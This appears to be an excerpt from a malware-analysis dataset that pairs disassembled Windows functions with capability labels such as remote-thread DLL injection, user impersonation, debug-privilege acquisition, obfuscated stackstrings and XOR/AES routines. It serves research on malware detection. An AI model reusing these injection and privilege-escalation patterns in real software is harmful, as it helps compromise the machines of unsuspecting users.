joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101c1ea
Capabilities:
Create thread

Disassembly:
push 0x58
mov eax, 0x102329e
call fcn.01017677
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x20]
call fcn.0101be93
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.0101bffd
mov byte [ebp - 4], 2
mov eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x18]
lea ecx, [eax + 4]
cmp esi, 8
jb 0x101c228
mov edx, dword [ecx]
jmp 0x101c22a
mov edx, ecx
mov eax, dword [eax + 0x14]
cmp esi, 8
jb 0x101c234
mov ecx, dword [ecx]
push dword [ebp + 0xc]
lea eax, [edx + eax*2 + 2]
push eax
push ecx
lea ecx, [ebp - 0x38]
call fcn.0101c189
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x20]
push eax
call fcn.0101bf30
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push ebx
push dword [ebp - 0x18]
mov dword [ebp - 0x14], ebx
push dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x101c2a3
mov dword [ebp + 0xc], 0x1007d3c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x64]
call fcn.0100fcb4
push 0x10252e8
lea eax, [ebp - 0x64]
push eax
call sub.MSVCR90.dll__CxxThrowException
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.01014737
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x20]
call fcn.0101bec0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0100ebb6
xor eax, eax
inc eax
call fcn.01017763
ret

Function at 0x101c2f5
Capabilities:
Impersonate user

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 4]
add esi, 4
push esi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
neg eax
sbb eax, eax
neg eax
pop esi
pop ebp
ret 0x14

Function at 0x101c913
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x101c939
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0101c64b
mov byte [0x8df74dc3], al
inc ebp
rcl byte [eax - 0x18], 0xc5
cld
invalid
Function at 0x101ca44
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [0xa445c624], eax
and al, dh
inc ebp
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.0101c65b
push eax
push esi
push dword [ebp + 8]
call fcn.0101c610
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0101c65b
push eax
push esi
push dword [ebp + 8]
call fcn.0101c610
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0101c64b
sub byte [eax - 0x28], ah
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.0101c64b
scasd eax, dword es:[edi]
push ebp
xchg ecx, eax
dec esi
lea eax, [ebp - 0x84]
push eax
call fcn.0101c65b
push eax
push esi
push dword [ebp + 8]
call fcn.0101c610
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x101ce44
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0101c5bc
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x101cbbb
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.0101c5bc
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x101cb88
call fcn.0101c64b
test al, 0x8c
enter 0xffffffffffff8b56, 0x7e
cmp al, 3
dec byte [ecx - 0x8743]
dec dword [ebx + 0x8087]
add byte [ebx], bh
ret
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x101e894
Capabilities:
Compare security identifiers

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
lea ebx, [ecx + 4]
push esi
push edi
test ebx, ebx
je 0x101e8d4
mov edi, dword [ebp + 0xc]
lea esi, [edi + 4]
test esi, esi
je 0x101e8d4
call fcn.01010d04
test al, al
je 0x101e8d4
mov ecx, edi
call fcn.01010d04
test al, al
je 0x101e8d4
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
jmp 0x101e8d6
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x101e8e0
Capabilities:
Get token membership

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x101e912
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
add eax, 4
push eax
push dword [ecx + 4]
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x101e912
cmp dword [ebp + 0xc], 0
setne al
mov byte [esi], al
mov al, 1
jmp 0x101e914
xor al, al
pop esi
pop ebp
ret 8

Function at 0x101f3f7
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x20
mov eax, 0x1023de3
call fcn.01017677
lea eax, [ebp + 8]
push eax
push 0x20219
xor esi, esi
push esi
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x101f493
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0101f1c8
add esp, 0xc
mov dword [ebp - 4], esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, esi
jne 0x101f487
cmp dword [ebp - 0x10], 4
jne 0x101f487
cmp dword [ebp - 0x14], 1
sete bl
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0101ec74
mov al, bl
jmp 0x101f495
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0101ec74
xor al, al
call fcn.01017763
ret 8
Function at 0x102047d
Capabilities:
Access the windows event log

Disassembly:
push 0x3c
mov eax, 0x1023f3a
call fcn.01017677
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x1009920
push ebx
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov edi, eax
mov eax, dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x10], edi
call fcn.0101ca44
add esp, 0xc
mov byte [ebp - 4], 1
cmp edi, ebx
je 0x1020599
cmp edi, 0xffffffff
je 0x1020599
lea ecx, [ebp - 0x48]
xor esi, esi
call fcn.0101fb5c
mov byte [ebp - 4], 2
mov eax, dword [ebp + 0x1c]
sub eax, dword [ebp + 0x18]
push 0x1c
cdq
pop ecx
idiv ecx
test eax, eax
je 0x1020562
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x18]
lea ecx, [ebp - 0x20]
call fcn.0101b3b1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
jmp 0x1020538
lea ecx, [ebp - 0x18]
call fcn.0101b2db
cmp dword [eax + 0x18], 8
jb 0x102051e
mov eax, dword [eax + 4]
jmp 0x1020521
add eax, 4
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x48]
call fcn.01020424
lea ecx, [ebp - 0x18]
call fcn.0101f10e
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x20]
call fcn.0101b3b1
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
call fcn.0101f0ae
test al, al
je 0x102050b
push ebx
lea ecx, [ebp - 0x48]
call fcn.0101f086
mov esi, eax
mov eax, dword [ebp + 0x1c]
sub eax, dword [ebp + 0x18]
push 0x1c
pop ecx
cdq
idiv ecx
lea ecx, [ebp - 0xe]
push eax
call fcn.0101f610
movzx eax, word [eax]
push ebx
push esi
push ebx
push eax
push ebx
push dword [ebp + 8]
push 2
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.0101fb97
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x30]
call fcn.0101c4e9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.01020353
call fcn.01017763
ret 0x1c
Function at 0x10209c6
Capabilities:
Get common file path

Disassembly:
push 0x40
mov eax, 0x1024083
call fcn.010176ea
mov eax, dword [ebp + 8]
xor ebx, ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ebx
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_void_]
xor esi, esi
inc esi
mov dword [ebp - 4], esi
push 0x104
lea ecx, [ebp - 0x4c]
call fcn.0101ada0
mov byte [ebp - 4], 2
push esi
push 0x2e
push ebx
lea ecx, [ebp - 0x4c]
call fcn.0101127b
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push ebx
lea ecx, [ebp - 0x4c]
test eax, eax
je 0x1020a2a
call fcn.0101127b
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t______thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator_wchar_t_const__]
jmp 0x1020a85
mov esi, dword [ebp - 0x3c]
sub esi, dword [ebp - 0x40]
sar esi, 1
call fcn.0101127b
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
push eax
push esi
call edi
mov esi, eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
inc esi
sar eax, 1
cmp esi, eax
jbe 0x1020a82
push ebx
push esi
lea ecx, [ebp - 0x4c]
call fcn.01016122
push ebx
lea ecx, [ebp - 0x4c]
call fcn.0101127b
push eax
push esi
call edi
test eax, eax
jne 0x1020a82
mov ecx, dword [ebp - 0x30]
push 0x100a728
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
mov dword [ebp - 0x34], 1
jmp 0x1020ac9
xor esi, esi
inc esi
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x1020aab
dec eax
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_wchar_t____thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator___unsigned_int_]
cmp word [eax], 0x5c
je 0x1020aab
push 0x1005c98
lea ecx, [ebp - 0x2c]
call dword [0x1001220]
push 0x100a6d4
lea ecx, [ebp - 0x2c]
call dword [0x1001220]
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__]
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x4c]
call fcn.0101470a
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x2c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
mov eax, dword [ebp - 0x30]
call fcn.0101777c
ret 4
Function at 0x1020b40
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x40
mov eax, 0x10240bd
call fcn.01017677
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x14]
push eax
push 0x100a670
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x1020b7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x20]
call fcn.01020af1
jmp 0x1020cc1
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0101f1c8
add esp, 0xc
mov dword [ebp - 4], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x10]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
mov edi, 0x100a658
push edi
push dword [ebp - 0x14]
mov dword [ebp - 0x10], 0x104
mov dword [ebp - 0x18], ebx
call esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4c]
call fcn.0101ada0
mov byte [ebp - 4], 1
cmp dword [ebp - 0x10], ebx
je 0x1020c2d
lea eax, [ebp - 0x10]
push eax
push ebx
lea ecx, [ebp - 0x4c]
call fcn.0101127b
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push edi
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x1020c2d
push ebx
lea ecx, [ebp - 0x4c]
call fcn.0101127b
mov edi, dword [ebp - 0x20]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t______thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator_wchar_t_const__]
mov eax, dword [edi + 0x14]
cmp eax, ebx
je 0x1020c2d
dec eax
push eax
mov ecx, edi
call dword [sym.imp.MSVCP90.dll_public:_wchar_t____thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator___unsigned_int_]
cmp word [eax], 0x5c
je 0x1020c2d
push 0x1005c98
mov ecx, edi
call dword [0x1001220]
push 4
pop edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x100a620
push dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x1020c57
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x20], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x100a634
push dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x1020c7e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x1c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x100a608
push dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x1020ca8
cmp dword [ebp - 0x1c], ebx
mov ecx, dword [ebp - 0x20]
setne al
mov byte [ecx + 0x24], al
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x4c]
call fcn.0101470a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.0101ec74
mov al, 1
call fcn.01017763
ret
Function at 0x1020db1
Capabilities:
Acquire debug privileges

Disassembly:
push 8
mov eax, 0x1024110
call fcn.01017677
mov esi, ecx
and dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0x100a73c
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
push 1
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x1020e0b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x1020e38
lea eax, [ebp - 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1020e38
lea eax, [esi + 0x10]
push eax
push 0x100a748
push 0
mov dword [esi + 0xc], 1
mov dword [esi + 0x18], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1020e38
mov eax, dword [ebp - 0x10]
and dword [ebp - 0x10], 0
mov dword [esi + 8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.01020d36
call fcn.01017763
ret

Function at 0x10212da
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x102b3ac]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x18], esi
jne 0x10212fe
xor al, al
jmp 0x102134d
cmp dword [edi + 0x38], 8
jb 0x1021309
mov eax, dword [edi + 0x24]
jmp 0x102130c
lea eax, [edi + 0x24]
push ebx
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1021326
xor al, al
jmp 0x102134c
add esi, dword [ebp - 0x234]
lea eax, [ebp - 0x254]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1021326
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [edi + 0x3c], esi
sbb eax, eax
neg eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.01017610
leave
ret
Function at 0x409cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov al, byte [esi]
test al, al
jne 0x409d02
xor al, al
pop esi
pop ebp
ret
cmp al, 0x2d
jne 0x409cfd
cmp byte [esi + 1], 0x44
jne 0x409cfd
add esi, 2
cmp byte [esi], 0
je 0x409e24
push ebx
mov ebx, dword [ebp + 0x10]
cmp dword [ebx], 0
jne 0x409d43
push 0x10
call fcn.00705727
add esp, 4
test eax, eax
je 0x409d3f
push 4
push 0x409e80
mov ecx, eax
call fcn.00704bc0
jmp 0x409d41
xor eax, eax
mov dword [ebx], eax
push 0x3d
push esi
call fcn.007078c0
add esp, 8
mov dword [ebp + 8], eax
test eax, eax
jne 0x409d68
push str.No_value_given_to__D_option_n
call fcn.004070e0
add esp, 4
mov al, 1
pop ebx
pop esi
pop ebp
ret
mov ebx, eax
sub ebx, esi
jne 0x409d81
push str.No_name_given_to__D_option_n
call fcn.004070e0
add esp, 4
mov al, 1
pop ebx
pop esi
pop ebp
ret
lea eax, [ebx + 1]
push edi
push eax
call fcn.0070b828
push ebx
mov edi, eax
push esi
push edi
call fcn.0070c780
mov ecx, dword [ebp + 8]
inc ecx
mov byte [edi + ebx], 0
push ecx
call fcn.00712b0c
add esp, 0x14
xor edx, edx
mov ebx, eax
test edi, edi
jne 0x409db2
xor ecx, ecx
jmp 0x409df8
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409db7
sub ecx, esi
xor esi, esi
test ecx, ecx
jle 0x409dde
movsx eax, byte [esi + edi]
inc esi
add eax, edx
imul edx, eax, 0x401
mov eax, edx
shr eax, 6
xor edx, eax
cmp esi, ecx
jl 0x409dc6
lea ecx, [edx + edx*8]
mov eax, ecx
shr eax, 0xb
xor eax, ecx
imul ecx, eax, 0x8001
mov eax, 1
test ecx, ecx
cmove ecx, eax
push 1
push ecx
mov ecx, dword [ebp + 0x10]
push edi
mov ecx, dword [ecx]
call fcn.00704cf0
mov esi, eax
cmp dword [esi + 4], 0
je 0x409e1f
push edi
call fcn.00708b50
push dword [esi + 4]
call fcn.00708b50
add esp, 8
pop edi
mov dword [esi + 4], ebx
pop ebx
mov al, 1
pop esi
pop ebp
ret

Function at 0x425eb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
mov eax, dword [ecx + 8]
push dword [ebp + 8]
push dword [eax]
call fcn.00710d96
add esp, 0xc
cdq
pop ebp
ret 0xc

Function at 0x426940
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 8
call fcn.00705727
add esp, 4
test eax, eax
je 0x42695f
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax + 4], ecx
jmp 0x426961
xor eax, eax
lea ecx, [ebp - 4]
push ecx
push 0
push eax
push 0x4269a0
push 0x80000
push 0
call fcn.0070f85e
add esp, 0x18
cmp eax, 0xffffffff
je 0x426992
test eax, eax
je 0x426992
push eax
call dword [0x72a09c]
xor eax, eax
mov esp, ebp
pop ebp
ret
call fcn.0070ce81
mov eax, dword [eax]
mov esp, ebp
pop ebp
ret
Function at 0x4280c0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004282c0
add esp, 0xc
test eax, eax
js 0x4282b3
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [eax + 0xf0]
xor ebx, ebx
shl edi, 2
test edi, edi
jle 0x428140
lea esi, [eax + 8]
add eax, 8
lea esi, [esi + edi*4]
nop word [eax + eax]
mov edx, dword [eax - 8]
lea eax, [eax + 0x10]
mov ecx, dword [esi - 8]
lea esi, [esi - 0x10]
mov dword [eax - 0x18], ecx
add ebx, 4
mov ecx, dword [esi + 0xc]
sub edi, 4
mov dword [esi + 8], edx
mov edx, dword [eax - 0x14]
mov dword [eax - 0x14], ecx
mov ecx, dword [esi + 0x10]
mov dword [esi + 0xc], edx
mov edx, dword [eax - 0x10]
mov dword [eax - 0x10], ecx
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x10], edx
mov edx, dword [eax - 0xc]
mov dword [eax - 0xc], ecx
mov dword [esi + 0x14], edx
cmp ebx, edi
jl 0x428100
mov ebx, dword [ebp + 0x10]
mov edi, 1
cmp dword [ebx + 0xf0], edi
jle 0x4282ae
lea esi, [ebx + 2]
mov edx, dword [esi + 0xe]
lea esi, [esi + 0x10]
mov eax, edx
inc edi
shr eax, 0x18
movzx ecx, byte [eax*4 + 0x741cb0]
movzx eax, byte [esi - 1]
mov ecx, dword [ecx*4 + 0x7428b0]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7430b0]
movzx eax, byte [esi]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x742cb0]
movzx eax, dl
mov edx, dword [esi + 2]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7434b0]
mov eax, edx
shr eax, 0x18
mov dword [esi - 2], ecx
movzx ecx, byte [eax*4 + 0x741cb0]
movzx eax, byte [esi + 3]
mov ecx, dword [ecx*4 + 0x7428b0]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7430b0]
movzx eax, byte [esi + 4]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x742cb0]
movzx eax, dl
mov edx, dword [esi + 6]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7434b0]
mov eax, edx
shr eax, 0x18
mov dword [esi + 2], ecx
movzx ecx, byte [eax*4 + 0x741cb0]
movzx eax, byte [esi + 7]
mov ecx, dword [ecx*4 + 0x7428b0]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7430b0]
movzx eax, byte [esi + 8]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x742cb0]
movzx eax, dl
mov edx, dword [esi + 0xa]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7434b0]
mov eax, edx
shr eax, 0x18
mov dword [esi + 6], ecx
movzx ecx, byte [eax*4 + 0x741cb0]
movzx eax, byte [esi + 0xb]
mov ecx, dword [ecx*4 + 0x7428b0]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7430b0]
movzx eax, byte [esi + 0xc]
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x742cb0]
movzx eax, dl
movzx eax, byte [eax*4 + 0x741cb0]
xor ecx, dword [eax*4 + 0x7434b0]
mov dword [esi + 0xa], ecx
cmp edi, dword [ebx + 0xf0]
jl 0x428157
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret